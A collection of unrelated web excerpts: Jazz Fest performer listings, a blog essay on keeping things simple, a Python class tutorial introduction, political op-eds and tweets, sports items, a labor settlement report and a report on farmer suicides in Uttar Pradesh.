included efforts to improve voting rates, feed the hungry and get more young people enrolled in college. Pat McLaughlin’s New Orleans Outfit, 4/29, LAG, 3:55p: Born in Waterloo, Iowa singer songwriter Pat McLaughlin was drawn to New Orleans in the ’90s working with drummer Carlo Nuccio. McLaughlin’s compositions have been recorded by Bonnie Raitt, Taj Mahal, Trisha Yearwood, Nanci Griffith and many others. Patti LaBelle, 5/7, CON, 3:40p: Singer Patti LaBelle began her career in the early 1960s as lead singer for the Bluebelles. In 1974 she formed the band Labelle, which was signed to Epic Records and recorded the Allen Toussaint-produced single, “Lady Marmalade” while backed by Louisiana musicians. The song sold over a million copies. She has been inducted into the Grammy Hall of Fame and was named one of the 100 Greatest Singers of all time by Rolling Stone. Paul Porter, 5/5, GOS, 3:55p: Singer songwriter Paul Porter is a founding member of the gospel group the Christianaires. Hailing from Detroit, Porter’s influences include Sam Cooke, Otis Redding, Stevie Wonder and others. Paul Sanchez & the Rolling Road Show, 4/28, GEN, 1:45p: Sanchez has blossomed as a songwriter since parting company with Cowboy Mouth, co-writing the post-Katrina musical Nine Lives and launching a number of projects as a leader, including the Rolling Road Show, Minimum Rage and the Write Brothers. Paulin Brothers Brass Band, 5/4, ECO, 12:30p: Ernest “Doc” Paulin founded this band in the 1920s, and his sons now perform strictly traditional brass-band music, complete with the longstanding black-and-white uniforms and spiffy white caps. The Pedrito Martinez Group, 4/28, CON, 2:10p; 4/28, CUB, 4:30p; 4/29, CUB, 12:35p, JAZ, 2:40p; 5/4, CUB, 12:10p, 4:30p; 5/5, CUB, 12:15p, 2:55p; 5/6, CUB, 12:30p, J&H, 3p: Formerly of the popular Afro-Cuban band Yerba Buena, singer/drummer Martinez plays a complex but infectious fusion of Afro-Cuban rumba, African Yoruba chants, and Western funk. The group’s latest album, Habana Dreams, was recorded in Cuba and New York. The Perfect Gentlemen SA&PC, 4/28, PAR, 12:20p: This Uptown social aid and pleasure club celebrated its 25th year in 2016. Pigeon Town Steppers SA&PC, 5/6, PAR, 4p: Based way (way) Uptown in the Leonidas neighborhood, this club’s annual Sunday parade follows a unique route. Pine Leaf Boys, 4/28, FDD, 1:35p: This young band has spearheaded the latest revival of Cajun music, bridging new and traditional music and snagging four Grammy nominations. Leader Wilson Savoy is the son of Cajun music’s first couple, Marc and Ann Savoy. Pitbull, 4/30, CON, 5:35p: Having given up his reggaeton roots for bigger sales as a crossover club music hitmaker, first generation Cuban-American rapper Pitbull is big on shout-outs to ladies, shots, booties and “Mr. Worldwide” (that’s him). PJ Morton, 5/5, CON, 3:30p: New Orleans gospel singer Peter Morton’s R&B-minded son has made a splash on Lil Wayne’s Young Money label, thanks to his debut album New Orleans. He’s also a keyboardist and backup singer with Maroon 5, and has collaborated with Stevie Wonder, India.Arie and Juvenile, among others. Pocket Aces Brass Band, 4/28, J&H, 5:45p: This Bridge City brass-hop band began as a few friends who got together for an annual Mardi Gras jam before expanding to a full-time touring outfit. The Preservation Brass, 4/30, ECO, 12:30p: Featuring bass drummer Tanio Hingle, snare drummer Kerry “Fat Man” Hunter and trumpeter Will Smith, plus a rotating roster of players, Pres Hall Brass aims to serve as the Hall collective’s go-to brass band arm, like the Olympia Brass Band once did. Preservation Hall Jazz Band, 5/7, GEN, 1:55p: With its 50th anniversary in the rearview mirror, this New Orleans music institution’s profile is higher than ever thanks to heavy touring, and their new release, So It Is. Their guest-heavy Jazz Fest sets are always festival highlights. Preston Frank and Ed Poullard and Family, 4/28, FDD, 11:15a: Fiddler Ed Poullard and accordionist Preston Frank are vibrant elder statesmen of old-time Creole zydeco. Together with the Family they always have a good time. Prince of Wales SA&PC, 5/7, PAR, 3p: Uptown’s Prince of Wales is among the oldest parade clubs in the city; their annual Sunday second line struts through the Irish Channel. Q Quiana Lynell and the Lush Life Band, 5/4, JAZ, 12:30p: A graduate of LSU’s music program, Lynell is adept at singing both jazz and classical as well as blues. She’s been tapped to perform with artists ranging from Herlin Riley and Don Vappie to the Baton Rouge Symphony Orchestra. R Ray Abshire Cajun Band, 4/29, FDD, 11:15a: A Louisiana Folk Artist Hall of Famer, Abshire’s accordion career began in the late ‘60s with the Balfa Brothers; today, his bandmates include his sons, Travis and Brent. Real Untouchable Brass Band, 4/28, J&H, 1:30p: This local brass crew adds congas to its otherwise street-centric sound. Rebirth Brass Band, 4/29, CON, 3:25p: Now entering its fourth decade, Rebirth was one of the first bands to modernize and funkify the New Orleans brass band sound. Most of the younger brass bands you hear in town style themselves after the Rebirth, although there are no duplicates for founding bass drum and tuba players Keith and Phil Frazier, or snare drummer Derrick Tabb. They earned a Grammy in 2012. The Revealers, 4/28, CON, 11:20a: DeRoc Debose and Don Williams lead this long-running New Orleans reggae band, which continues to write new music with drummer Kerry Brown. See feature in this issue. The Revelers, 4:30, FDD, 2:50p: An Acadian supergroup made up of founding members of Jazz Fest perennials the Red Stick Ramblers and the Pine Leaf Boys. See feature in this issue. The Revivalists, 5/5, ACU, 3:30p: This increasingly popular New Orleans band has solid songs for the rock ’n’ rollers and free-flowing grooves for the jam band crowd. They were big winners at the most recent OffBeat Best of the Beat Awards. Revolution SA&PC, 5/4, PAR, 1:20p: One of the biggest parade clubs, the Revolution SA&PC is known for mind-blowing dance moves and multiple costume changes along their annual Sunday parade route. Rhiannon Giddens, 5/5, BLU, 5:40p: Giddens unleashed a successful solo project after years singing with the Carolina Chocolate Drops, a longtime Fest favorite. A multi-instrumentalist well-versed in multiple American roots music forms (including New Orleans jazz—check out her big-band “St. James Infirmary” collaboration with Tom Jones) her 2015 debut -Keeping It Simple Brad Bollenbach Blocked Unblock Follow Following Mar 17, 2008 Simplicity is the ultimate sophistication. — Leonardo da Vinci I need every word I write. The titles of my articles are descriptive but unflashy. I strive for short sentences. I formulate simple concepts, act on their hint, and document my experiences in the hopes of inspiring others. I use technology as an instrument of reach, rather than as an intellectual stairmaster. I’m a preacher of straightforward ideas because straightforward ideas kick ass. My mission in life is to pursue personal growth and to help others grow. My business plan is: 1. Create high-quality content. 2. Tell people about it. 3. Profit. My path to personal growth is shaped in large part by one tightly-guarded secret: Keeping Things Simple. This isn’t a secret because no one knows about it; it’s a secret because you can scream “Keep it simple!” as loud as you want and no one will hear you. Simple Is Hard Simple isn’t easy. Easy means achieved without great effort. Simple means easily understood. I can bang out a complicated article in half the time it takes me to produce a simple one. I never had to learn how to build convoluted software either — it was a natural talent, you might say — but I did have to make a conscious effort to build stuff that didn’t hurt. But why is simple so hard? How do you start out wanting to build a text editor and end up building an entire operating system instead? Why do guys spend thousands of dollars on ebooks and workshops that promise to teach them the secrets of meeting women instead of taking the direct, cost-free, and equally rejection-prone route of just walking up and saying hi? In my experience, there are two primary reasons why we overcomplicate things. The first is a loss of focus. When you lose touch with why you’re doing what you’re doing, you inadvertently sentence yourself to trivial pursuits. As a software developer, I see this all the time with frameworks, particularly frameworks that were created out of thin air instead of extracted from working applications. Using them is like going to church: you pray to a higher power to help you make it through the day, you beg forgiveness for your sins, and they keep pestering you for donations. The tagline for software built from these foundations usually ends with “…but the code is really good.” Whether you’re creating a product, working on expanding your social life, or trying to find a better job, avoiding the thorns of distraction involves regularly asking yourself these questions: What’s my goal? How will I know when I’ve achieved it? How am I measuring my progress? How well is my current approach working? It also helps to write down your goals when you set them. Not only does recording your dreams help you flesh out your desired outcome, it also helps remind you of your original intent. Complexity and the Ego The other major reason we flock to complexity is a problem of a very different nature, that requires a completely different solution. It’s rooted in our psychology. It comes from the imperial nature of the human ego. The ego’s primary lubricant can be summed up in one word: More. 10 features are better than 1. 1000 lines of code is better than 100. $500,000/year is better than $100,000/year. Big is better than small. To the ego, Less is kryptonite. Making things more difficult than they need to be can also be induced by fear. Our ego relies on fear to protect itself and complexity is a great place to hide. Saying hi to a girl is an incredibly simple and direct way to improve your success with women, but the range of potential negative responses could pose a serious threat to who you think you are. A much easier path for the ego to follow is to read about approaching women instead of actually doing it. Not only does this remove the possibility of embarrassing social fumbles, it also quenches the ego’s thirst for more. If you’ve read five seduction ebooks, you’re obviously better off than if you’d only read one. Of course, all that information is just a diversion. You end up realizing that no matter how much you read about meeting women instead of actually meeting women, the terror of rejection still remains. And no matter what you do, your first several dozen, maybe even several hundred approaches will be as painful as they are instructive. Dealing with the ego is a complex subject, which I’ve already written much about. To learn more, try these articles: Reading in itself is obviously not a bad thing. Losing yourself in unnecessary details to avoid doing what you already know needs to be done is a bad thing. Prioritize Simple Solutions Of the four major social media websites (Digg, StumbleUpon, reddit, and del.icio.us), I’ve done pretty well on three of them. The final frontier for me was Digg. If you read about how to get attention from these websites, you’ll see people saying you have to create an account, vote up and comment on articles that other users submit, add everyone who votes up your content to your friends list, and so on. But my goal with 30 sleeps is to write content that changes people’s lives, not to be a social media power user. To increase my presence on Digg, I asked myself “What’s the simplest way to get on the Digg front page?” I came up with the following algorithm: Write great content. Visit the front page of the relevant section on Digg. Lifestyle/Education, in my case. Find out who’s submitting content that makes the front page of that section. Contact them directly, with links to my best articles. I found a few such power users who provided their email address in their profile, and specifically said that they’re hungry for interesting links. I contacted each one directly. I made it clear that I don’t spend a lot of time on Digg, but that I do spend a lot of time writing content dealing with personal growth, and provided them with links to some of my best work. I did this only a few days ago. The results were amazing. My article on information addiction got submitted and was dugg 135 times. That wasn’t quite enough to push it to the front page, but the article got far more attention than anything I’d tried before. (By the way, if you have a Digg account and liked that article, your votes would be greatly appreciated.) Remember step #2 of the business plan I described earlier? It really is that basic. The more complex your strategy for achieving your goals, the more you’ll slow yourself down. The simplest thing that can possibly work often does. -This publication is available in Web form and also as a PDF document . Please forward any comments to tcc-doc@nmt.edu . Describes an implementation of a class for representing rational numbers in the Python programming language. 1. Introduction This document describes a Python module for working with rational numbers. It is intended as an example of a Python class for students new to object-oriented programming. This publication assumes that the reader has had a general introduction to the construction of Python classes. In particular, you should know that the name of the class's constructor method is always __init__ . Method names such as __init__ , which start and end with two underbar ( _ ) characters are called special methods. This class makes heavy use of Python special methods to implement the common mathematical operators such as + and - . For example, when you have two instances x and y of some class, using the - (subtract) operator invokes the special method __sub__( x , y ) . Relevant online files: -This anti-intellectualism is antediluvian. No wonder a 2009 Pew Research Center report found that only 6 percent of scientists identified as Republican and 9 percent identified as conservative. Furthermore, a 2005 study found that just 11 percent of college professors identified as Republican and 15 percent identified as conservative. Some argue that this simply represents a liberal bias in academia. But just as strong a case could be made that people who absorb facts easily don’t suffer fools gladly. Last month, Gov. Bobby Jindal of Louisiana , the chairman of the Republican Governors Association, said on CNN: “We need to stop being the dumb party. We need to offer smart, conservative, intelligent ideas and policies.” This is exactly the kind of turn the Republicans need to take, but Jindal’s rhetoric doesn’t completely line up with his record. As The Scotsman of Edinburgh reported in June, “Pupils attending privately run Christian schools in the southern state of Louisiana will learn from textbooks next year, which claim Scotland ’s most famous mythological beast is a living creature.” That mythological beast would be the Loch Ness monster. The Scotsman continued: “Thousands of children are to receive publicly funded vouchers enabling them to attend the schools — which follow a strict fundamentalist curriculum. The Accelerated Christian Education (ACE) programme teaches controversial religious beliefs, aimed at disproving evolution and proving creationism. Youngsters will be told that if it can be proved that dinosaurs walked the Earth at the same time as man, then Darwinism is fatally flawed.” Photo This is all because of a law that Jindal signed. Thankfully, last week a state judge ruled that the voucher program is unconstitutional. But Louisiana isn’t the only red state where creationism has state support. Advertisement Continue reading the main story Kentucky has a Creationist Museum that warns visitors to “be prepared to experience history in a completely unprecedented way,” according to its Web site. It continues: “Adam and Eve live in the Garden of Eden. Children play and dinosaurs roam near Eden’s Rivers.” Unprecedented is certainly one word for it. Now the museum group is planning to build a creationist theme park, with $43 million in state tax incentives. It should be noted that Mitt Romney won Kentucky by 23 points last month. President Obama won only four of Kentucky’s 120 counties. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. And the beginning of the world isn’t the only point of denial. So is the potential end of it. A March Gallup poll found that Republicans were much less likely than Democrats or independents to say that they worried about global warming. Only 16 percent of Republicans said that they worried a great deal about it, while 42 percent of Democrats and 31 percent of independents did. This as the National Climatic Data Center reported that “the January-November period was the warmest first 11 months of any year on record for the contiguous United States , and for the entire year, 2012 will most likely surpass the current record (1998, 54.3°F) as the warmest year for the nation.” Surely some of this is because of party isolationism and extremism and what David Frum, the conservative columnist, called the “conservative entertainment complex.” But there is also willful ignorance at play in some quarters, and Republicans mustn’t simply brush it aside. They must beat it back. If the Republicans don’t want to see their party go the way of the dinosaurs, they have to step out of the past. -“Today is a sad day for the Raider family and entire Raider Nation,” said Owner Mark Davis. “My father once said that I would have a tough time running this organization because I was too close to the players, and that rings true today. Marcel Reece has been a pillar of the organization for nine years and was the glue that held us together during a tough transition after my father’s passing. He helped put us on the upward path we are on today and his leadership will be sorely missed. The motto, ‘Once a Raider, Always a Raider,’ has never been more appropriate. When Marcel finishes his playing career, there will always be a spot for him within the Raider organization. Until then, I wish only the best for Marcel and his entire family.” -Insurance software startup Zenefits has agreed to pay $3.4 million in unpaid overtime to 743 of its account executives and sales representatives in California and Arizona, according to the Department of Labor. Zenefits also agreed to let the DOL monitor its practices to ensure the company does not violate the Fair Labor Standards Act. This agreement comes after the DOL’s Wage and Hour Division found that Zenefits misclassified the above-mentioned employees as being exempt from minimum wage and overtime. Zenefits, according to the DOL, was wrong to pay those workers a flat salary, regardless of overtime and time spent in training. “We have put money back in workers’ wallets while also working with Zenefits to ensure future compliance with federal labor law,” Ruben Rosalez, a regional administrator at the DOL Wage and Hour Division, said in a statement. “This case allows us to level the playing field for all of the employers who play by the rules. We are dedicated to protecting both workers and employers.” Zenefits has had a rough time lately. Earlier this year, Zenefits laid off 45 percent of its workforce, shortly after bringing on board Jay Fulcher as its third CEO. Before all of that happened, Zenefits was fined $7 million for multiple license violations in California and was ordered to stop offering its software for free in the state of Washington. “We are pleased that after the DOL’s review regarding classification of two jobs at Zenefits, there were no penalties, fines or damages,” Zenefits VP of Communications Jessica Hoffman said in a statement to TechCrunch. “Zenefits fully cooperated with the DOL and we are happy to have this issue behind us.” -Select a date Select month July 2018 June 2018 May 2018 April 2018 March 2018 February 2018 January 2018 December 2017 November 2017 October 2017 September 2017 August 2017 July 2017 June 2017 May 2017 April 2017 March 2017 February 2017 January 2017 December 2016 November 2016 October 2016 September 2016 August 2016 July 2016 June 2016 May 2016 April 2016 March 2016 February 2016 January 2016 December 2015 November 2015 October 2015 September 2015 August 2015 July 2015 June 2015 May 2015 April 2015 March 2015 February 2015 January 2015 December 2014 November 2014 October 2014 September 2014 August 2014 July 2014 June 2014 May 2014 April 2014 March 2014 February 2014 January 2014 December 2013 November 2013 October 2013 September 2013 August 2013 July 2013 June 2013 May 2013 April 2013 March 2013 February 2013 January 2013 December 2012 November 2012 October 2012 September 2012 August 2012 July 2012 June 2012 May 2012 April 2012 March 2012 February 2012 January 2012 December 2011 November 2011 October 2011 September 2011 August 2011 July 2011 June 2011 Select a category Agriculture Bihar Votes For Its (and India’s) Future BUDGET 2014 Budget 2015: Modi’s Moment of Reckoning Budget 2016: The stories behind the numbers Chart of the Day Climate Change Cover Story Currency Chaos Development Education Elections 2014 Employment Fact Check Governance Newsletter Health homepage video Hunger India’s Great Challenge: Health & Sanitation IndiaSpend In The News IndiaSpend Interviews Industry Investigations Central State Latest Headlines Latest Reports Making Sense of Breaking News Modi’s Message: India’s States Reply Modi’s Report Card Mumbai Special Mumbai Special: The Revival Agenda Opinion – Videos Opinions Pollution Poverty Prime Time: India’s Grand Challenges Resources Central State Sectors Agriculture Defence Economy & Policy Education Health Infrastructure Snapshots States Central India Chattisgarh Madhya Pradesh EAST Bihar Jharkhand Orissa West Bengal NORTH Haryana Himachal Pradesh Jammu & Kashmir New Delhi Punjab Rajasthan Uttar Pradesh Uttarakhand NORTH EAST Arunachal Pradesh Assam Manipur Meghalaya Mizoram Nagaland Sikkim Tripura SOUTH Andhra Pradesh Karnataka Kerala Tamil Nadu WEST Goa Gujarat Maharashtra Story In A Minute The Air We #Breathe The Road To Delhi: Elections 2015 The Transition: 2015-2016 Uncategorized Viznomics: A Quick Glance At Big Issues Welfare Women Women@Work Search with Google The bank passbook of Kadore Kushwaha, a 56-year-old Uttar Pradesh wheat farmer who failed to repay a four-year debt of more than Rs 41,000. The local administration, which has not sent an official to find out how he died, refuses to acknowledge that such suicides are a result of agricultural distress, blaming them on drinking and disease. Image: Bhasker Tripathi, Gaon Connection Rajwada (Lalitpur district), Uttar Pradesh: When the unseasonal downpour swept through his land last month, Kadore Kushwaha spent the night worrying. When the rain stopped the next day, he inspected his wheat farm. He returned, left for the market, bought what his family called “sulphas”, available as tablets, came home and took some. Kadore, 56, was taken to the hospital, but he died the evening of March 19, his body rapidly poisoned by the fertiliser aluminium phosphide—the scientific name for “sulphas”—a popular mode of suicide here in an impoverished district officially classified as among the 250 most backward in India. Kadore was under much mental stress, according to his family. Three days before he died, he received a notice from a bank through the local court, warning him to immediately deposit Rs 41,415 plus interest. It is a debt Kadore failed to repay over four years, during which his crop repeatedly failed. When Kadore was cremated on March 20 at his village, 5 km from the district headquarters, the local papers headlined his death. But until March 27, when your correspondent visited Rajwada, no official had been there—which means his suicide was not recorded. Kadore is not the only farmer whose death was ignored by the administration of India’s most-populous state. Farmers’ representatives and non-government organisations reported more than a dozen similar suicides in just Lalitpur and Hamirpur, both in south-eastern UP’s backward region of Bundelkhand last month. The government denies that crop failures and debt pushed any farmer to suicide in these two and 10 other districts ravaged by unseasonal rain and hailstorms in 2014 and 2013—a phenomenon that has occurred again, as we write this, raising the possibility of further distress. Officials sent out—but do not reach families of the dead On March 27, Uttar Pradesh Chief Minister Akhilesh Yadav ordered district collectors and other government officials to track down farmers who had died and find out the causes of death. “Where is the officer?” asked an agitated Purshottam Kushwaha, 29, son of the dead farmer Kadore. “No one has come till now, not even the accountant.” Purshottam and younger brother Vijay have abandoned farming and now work as labourers. Purushottam, 29, and Vijay, 25, sons of Kadore Kushwaha, an Uttar Pradesh wheat farmer who consumed a toxic fertiliser and killed himself last month after repeated crop failures and unpaid debts. Both sons have abandoned farming and now work as labourers. Image: Bhasker Tripathi, Gaon Connection Nissar Khan, a worker of Sai Jyoti Sanstha, an village NGO in Lalitpur said that his organisation had visited the homes of four farmers who had killed themselves. “There have been more deaths,” said Khan, “and we are still doing our survey.” More than 40 suicides by farmers were reported when hailstorms destroyed the rabi, or winter, crop last year, said Khan. “We have all those details,” said Khan. “But in the official data, there is no mention of them.” After Vidarbha in Maharashtra, long regarded as India’s farm-suicide heartland, Bundelkhand—comprising the districts of Jhansi, Banda, Chitrakoot, Mahoba, Lalitpur, Hamirpur and Jalaun—has emerged as another region where farmers kill themselves, deaths that UP’s government would rather not acknowledge as suicides. Over 20 years—between 1991 and 2011—more than 1.5 million farmers, distressed by crop failure and death, committed suicide across India, according to P. Sainath, journalist and Magsasay Award winner, who analysed National Crime Records Bureau (NCRB) data. The NCRB reports to the Ministry of Home Affairs, collecting data every year from states. At least 3,000 farmers have killed themselves in Bundelkhand over five years, according to official records and suicides reported in newspapers, the terms of agricultural bank loans that underlie these deaths substantially more unfavourable than home loans given to the urban middle class in India’s metropolitan cities, as IndiaSpend reported in October 2014. Suicides by farmers—even if you consider only official data—reflect a farm crisis in India, where 118.9 million of 1.3 billion people are dependent on agriculture. If families are included, the number exceeds 600 million. Source: NCRB (National Crime Records Bureau) Most farmer suicides were reported in states like Maharashtra (3,146 cases), Andhra Pradesh (inclusive of newly formed Telangana, 2,014 cases) and Uttar Pradesh (750 cases) in 2013, according to the NCRB. Why UP’s data on farm suicides are dodgy UP, as IndiaSpend reported last month, has a problem with dodgy data, and farm suicides do not appear to be an exception. Here is why: According to the NCRB report, UP, with a population of 200 million, had 750 suicides in 2013. However, Madhya Pradesh—a state with two-and-a-half-times fewer people than UP—reported 340 more suicides than UP. The contradictions in the data—and reports from the ground—indicate that many suicides by farmers in UP are not making their way to official documents. Farmer representatives accuse local officials of gathering information on farmer deaths but deliberately not registering it. Chronic diseases, drinking—not suicides: Officials Gauri Shankar Bidhua, head of the Bundelkhand Kissan Panchayat (Bundelkhand farmer council), firmly blamed district officials for not registering suicides. “According to our survey, until now (March 27), 62 farmers have committed suicide in Jhansi, Banda, Hamirpur, Jalaun and Lalitpur alone,” he said. Officials attribute such deaths to causes other than weather disasters, crop failures and debt. Anuraag Yadav, the district collector of Jhansi, said he now possessed all the inquiry reports into the deaths of farmers, and crop failure was not a cause. “Reasons like chronic diseases and drinking habits are coming to attention,” he said. “We keep fighting with the governments about the facts, but they do not accept that their debts killed them,” said Bidhua. “The weather’s blow to the rabi crop is breaking down farmers mentally.” Things became worse this time because of a drought during the kharif (monsoon) crop across Bundelkhand—coming on the heels of hailstorms that wrecked the rabi crop in 2013 as well. That there is a crisis on Bundelkhand’s farms is something the government now acknowledges. Dev Joo (90) from Lalitpur district’s Rajwada village, Uttar Pradesh, sits amid the remnants of his four-acre wheat farm. All the crop was lost to untimely rain and hail. Image: Bhasker Tripathi, Gaon Connection What happened to Bundelkhand’s rabi crop The overall crop production, by area, appears healthy, but drops in key crops indicate localised problems, enough to cause bankruptcies and those suicides. Source: Directorate of Agriculture, Uttar Pradesh In Bundelkhand’s seven districts, wheat was sown across 88.19 lakh hectares; 92.2 lakh hectares were sown with pulses (gram, peas and lentil), according to the UP farm directorate. Black, rotten kernels emerge from recently harvested wheat in Bundelkhand, Uttar Pradesh, after three seasons of unseasonal rain and hailstorm. Image: Bhasker Tripathi, Gaon Connection On March 26, during the budget session, in reply to a question, Chief Minister Yadav accepted that Bundelkhand had suffered from unseasonal rains and hailstorms. His government, however, will not accept that these disasters could have pushed farmers like Kadore to suicide. (Tripathi is Senior Reporter at Gaon Connection, a rural newspaper published in Hindi from Lucknow. Tewari is an analyst with IndiaSpend.) This is the first of a two-part series. You can read the second part here. Update: This story has been modified to reflect the number of Indian families dependent on agriculture. __________________________________________________________________________ “Liked this story? Indiaspend.com is a non-profit, and we depend on readers like you to drive our public-interest journalism efforts. Donate Rs 500; Rs 1,000, Rs 2,000.” -With the offseason officially under way, Around The League will examine what's next for all 32 teams. The series continues with the St. Louis Rams. What's changing? In the NFL's grittiest division, St. Louis remains on the outside looking in. The offseason ahead presents a good news/bad news scenario: The bad news is a roster pushed up against the salary cap heading into free agency. The good news? That comes in May, when the Rams hold the second, 13th, 44th and 75th picks in the 2014 NFL Draft. Look for St. Louis to wave goodbye to a handful of overpaid veterans to fill holes on a defense now under the control of new coordinator Gregg Williams. On offense, everyone's waiting for Sam Bradford to emerge as the starry franchise passer the Rams drafted him to be. Until that happens, it's hard to predict a power shift in the NFC West. » OL Rodger Saffold: The Rams don't have a laundry list of high-octane free agents. Saffold sits atop the heap after playing well down the stretch at right guard, where he thrived as a run blocker. With fellow interior lineman Harvey Dahl a likely candidate for release, look for St. Louis to make a play at locking down Saffold without having to use the franchise tag. » QB Kellen Clemens: He's far from a "must" addition, but Clemens knows Brian Schottenheimer's system and gives the team a serviceable backup. St. Louis leaned on a run-heavy attack during his nine starts, scheming around his weaknesses, but we wouldn't be surprised to see the Rams re-up. Other key free agents: QB Brady Quinn, OL Chris Williams, LB Jo-Lonn Dunbar, LB Will Witherspoon, S Matt Giordano, S Darian Stewart, OL Shelley Smith What they need Likely to part ways with a handful of pricey veteran O-linemen, the Rams could use new bodies up front. But don't expect St. Louis to use a first-round pick to fill the void: coach Jeff Fisher has never used a first-round pick on an offensive lineman in 18 previous drafts. On defense, there's a dearth of talent at safety, a position the Rams might address in free agency if they free up cap room. Cornerback also could use help if Cortland Finnegan departs. While the team has used a horde of past picks on receivers, there's still no legitimate No. 1 wideout on this roster -- Sammy Watkins, anyone? On the way out? » CB Cortland Finnegan: Due $6 million in base salary along with a massive $3 million roster bonus, Finnegan is a prime candidate for release on the heels of an injury-marred campaign. We could see St. Louis bringing him back at a fair rate, but they save $4 million by cutting him. » C Scott Wells: Along with Dahl, look for St. Louis to part ways with Wells. Dahl's release would save $4 million for the Rams, who could gain back another $4.5 million by parting with Wells. One or both of these linemen won't be back. » LB Jo-Lonn Dunbar: While defensive lineman Kendall Langford's release could save the team $4 million, he offers more on the field than Dunbar. Coming off a campaign that includes a four-game suspension for violating the NFL's performance-enhancing drug policy, the linebacker is no lock to re-sign with the club. Offseason crystal ball "It's a nice piece of real estate," Les Snead said of the team's four picks in the top 75 slots in May's draft. The GM's high-octane swap with the Redskins two offseasons ago is the gift that keeps on giving for the Rams. Cap issues might prevent St. Louis from adding talent through free agency, but the front office has an opportunity to energize both sides with rookie additions. That doesn't answer the long-term question haunting this franchise: Is Bradford the answer under center? "Sam's our starting QB," Snead said last month, continuing a theme of unwavering support from the organization. But coming off a torn ACL, the hyper-pricey starter is under pressure to deliver. If he doesn't, next offseason could be one of great change in St. Louis. The " Around The League Podcast" is now available on iTunes! Click here to listen and subscribe. -A survey of the various pundits show that, yes indeed, President Obama won the second presidential debate against Mitt Romney. Funny how when real people are involved, Mitt Romney falls to pieces. Sarah Boxer ‏@Sarah_Boxer More from @CBSNews poll of uncommitted voters- Who would do better job helping middle class? 56% Obama, 43% Romney John Weaver ‏@JWGOP This actually was better than Obama was even in 2008. His best debate performance as a presidential candidate. Period. Ezra Klein ‏@ezraklein Romney won the first debate by a larger margin than I expected. Obama won the second debate by a larger margin than I expected. Chris Matthews ‏@hardball_chris Obama won big on W policies and equal treatment for women and on taxes before that. He is way ahead. #debates grace wyler ‏@grace_lightning How Barack Obama Won The Presidential Debate http://read.bi/RAaTC8 Ethan Klapper ‏@ethanklapper Obama won tonight’s debate. Romney had disastrous answer on Libya. Bad answers on paycheck fairness, gun control. Ron Fournier ‏@ron_fournier Obama nailed the close Abby Huntsman ‏@HuntsmanAbby: #Obama continues to prove to the American people that he is Commander in Chief – looked very strong in foreign policy exchange. POLITICO Video ‏@POLITICOvideo VandeHei : Obama crisper & stronger #POLITICOLIVE Patricia Zengerle ‏@ReutersZengerle Col leagues on scene report that an army of Democrats is pouring into the spin room – no Republicans yet. Who won? #debate Zeke Miller ‏@ZekeJMiller And the Obama surrogates are first into the spin room with a dramatic walk-in Charlie Spiering ‏@charliespiering My take: Obama did better in debate, caught Romney on several zingers M. Ambinder ‏@ThePEOC I watched from the debate hall, didn’t see how it looked, don’t know what others are saying. My early impression: Obama killed it. Andrew Sullivan ‏@sullydish Obama has won every single exchange in this debate; and he has also appeared calmer and more authoritative. http://thebea.st/V7xk8A Ben Smith ‏@BuzzFeedBen Video of the libya exchange, the moment Obama won the debate.http://youtu.be/a- sp0b33fbs Corey Dade ‏@coreydadeNPR Obama touches all bases: I believe free enterprise, self-reliance, individual initiative, all getting a fair shot, paying their fair share. michaelhirsh ‏@michaelphirsh Whoa. Obama saves his 47 percent ref for last … smart, effective. And no chance for comeback. He wins, no question. Charlie Spiering ‏@charliespiering My take: Obama did better in debate, caught Romney on several zingers Tim Dickinson ‏@7im Brooks: Obama won the debate Ari Melber @AriMelber Probably the best debate of Obama’s career, a U-turn from first debate – @maddow Joshua Green @JoshuaGreen Well, I thought it was near-rout for Obama. Curious what snap polls say. Ethan Klapper @ethanklapper Obama won tonight’s debate. Romney had disastrous answer on Libya. Bad answers on paycheck fairness, gun control. AdamSerwer @AdamSerwer Yeah Obama won that debate. Ethan Klapper @ethanklapper Race is reset, and Romney’s bounce is probably done after this. Especially among women. -LeBron James is the only human to our knowledge to escape Cleveland for South Beach and return back to Cleveland. The Cleveland Cavaliers were still in first place in the East after a two-game losing streak before last night’s win against Milwaukee but the man sounded like a lost soul, oozing with regret when comparing his Miami teammates with the ones he has in Cleveland. “I think being in Miami, the best thing about our team in Miami was that you could say whatever you wanted to say, when you wanted to say it right then and there and nobody took it personal. Maybe be mad that guy for a few days or whatever the case may be but it never affected what we did on the floor. We only had one common goal and that was to win. That’s all that mattered. So when you realize stuff like that, when you realize that it’s not about you, it’s never about you, it’s about the big picture.” Sounds like LeBron James needs another Miami vacation… -DAVID GREGORY: Is that how you think about health care reform? As something that ultimately would beat up on California? GOVERNOR SCHWARZENEGGER: Yes, it is. Right now, it is-- and I just cannot imagine that why we would have-- like I said, you know, for instance, you know-- our Senators and Congressional people, how they would vote for something like that. Where they're representing Nebraska and not us? And-- by the way, as I said in my State of the State, that's the biggest rip-off. I mean that is against the law to buy a vote? DAVID GREGORY: You're talking about Senator Nelson? GOVERNOR SCHWARZENEGGER: Senator Nelson. That's like buying a vote. To say, "Hey--" DAVID GREGORY: The Federal Government will pay for their Medicaid expansion GOVERNOR SCHWARZENEGGER: "I'm holding out my vote, unless I get some extra kind of benefits here." I mean if you do that in Sacramento, you know, you'll be sued. It is illegal to do that, to buy votes. -'Science Guy' Bill Nye discusses climate change in a video posted earlier this month by National Geographic. Creationist Ken Ham launched another attack against Planetary Society CEO Bill Nye on Sunday after Nye released a short video explaining key things to remember about climate change, the Friendly Atheist reported. “We don’t need to be concerned about drastic climate change,” Ham wrote on his blog. “Our climate, and the checks and balances that keep it operating within safe parameters, were designed by an all-wise Creator.” In the video, released by National Geographic earlier this month, Nye identified five key points for viewers to remember about global warming, listed below in his words: “The atmosphere is thin. Barely 60 miles, 100 kilometers, in outer space.” “There’s 7.3 billion people breathing and burning.” “All this heat energy in the atmosphere is changing things. It’s not just getting warmer, it’s changing.” “This warmth is making the ocean get bigger. When the ocean rises [by a few inches], this whole area will be under water, and not just this area, that area, that’s Miami.” “But the main, main, thing, everybody, is the speed, it’s the rate at which things are changing. Oh yes, the world was once warmer, there was once more carbon dioxide in the atmosphere than there is today, but all of this never happened this fast. And that’s what you gotta get your heads around.” Ham, who debated the “Science Guy” last year, tried to dismiss Nye’s first 